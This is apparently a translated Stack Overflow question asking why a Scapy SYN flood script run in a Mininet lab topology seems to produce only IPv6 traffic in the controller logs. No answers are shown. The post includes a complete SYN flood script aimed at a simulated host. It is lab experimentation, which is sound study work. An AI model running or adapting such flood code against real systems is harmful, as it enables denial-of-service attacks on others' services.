Scapy生成ipv6数据包而不是ipv4

时间:2018-06-14 13:05:54

标签: python scapy mininet

我使用mininet创建了一个自定义拓扑,并尝试使用scapy生成tcp数据包并将其作为TCPflood攻击发送。这是scapy代码:

from scapy.all imprt *
def randInt():
    x = random.randint(1000,9000)
    return x    

def SYN_Flood(srcIP,dstIP,dstPort,counter):
    total = 0
    print("Packets are sending ...")
    for x in range (0,counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP ()
        IP_Packet.src = srcIP
        IP_Packet.dst = dstIP

        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)

def main(srcIP):
    SYN_Flood(srcIP,'10.0.0.10',4234,10)# 10 is number of packets

和main()函数使用如下:

def attack():
    for i in range(1,10):
        srcIP = net.getNodeByName('h%s'%i).IP()
        main(srcIP)

实际上h0到h9将流量发送到h10。 问题是,当我使用 packet = event.parsed.find(' tcp')分析PacketIn消息时,似乎没有发送tcp数据包并使用 packet = event .parsed 我收到了以下日志:

INFO:Packet_Analyze:PacketIn消息:4 [00:00:00:00:00:0c> 33:33:00:00:00:16 IPV6] 信息:Packet_Analyze:PacketIn消息:5 [00:00:00:00:00:03> 33:33:ff:00:00:03 IPV6] 信息:Packet_Analyze:PacketIn消息:6 [00:00:00:00:00:02> 33:33:00:00:00:16 IPV6] 信息:Packet_Analyze:PacketIn消息:7 [00:00:00:00:00:0a> 33:33:ff:00:00:0a IPV6] 信息:Packet_Analyze:PacketIn消息:8 [00:00:00:00:00:10> 33:33:ff:00:00:10 IPV6] 信息:Packet_Analyze:PacketIn消息:9 [00:00:00:00:00:09> 33:33:00:00:00:16 IPV6] 信息:Packet_Analyze:PacketIn消息:10 [00:00:00:00:00:14> 33:33:00:00:00:16 IPV6] 信息:Packet_Analyze:PacketIn消息:11 [00:00:00:00:00:12> 33:33:ff:00:00:12 IPV6] 信息:Packet_Analyze:PacketIn消息:12 [00:00:00:00:00:06> 33:33:ff:00:00:06 IPV6] 信息:Packet_Analyze:PacketIn消息:13 [00:00:00:00:00:10> 33:33:00:00:00:16 IPV6] 信息:Packet_Analyze:PacketIn消息:14 [00:00:00:00:00:07> 33:33:00:00:00:16 IPV6]

有人知道为什么会这样吗?任何帮助是极大的赞赏。 提前谢谢你

0 个答案:

没有答案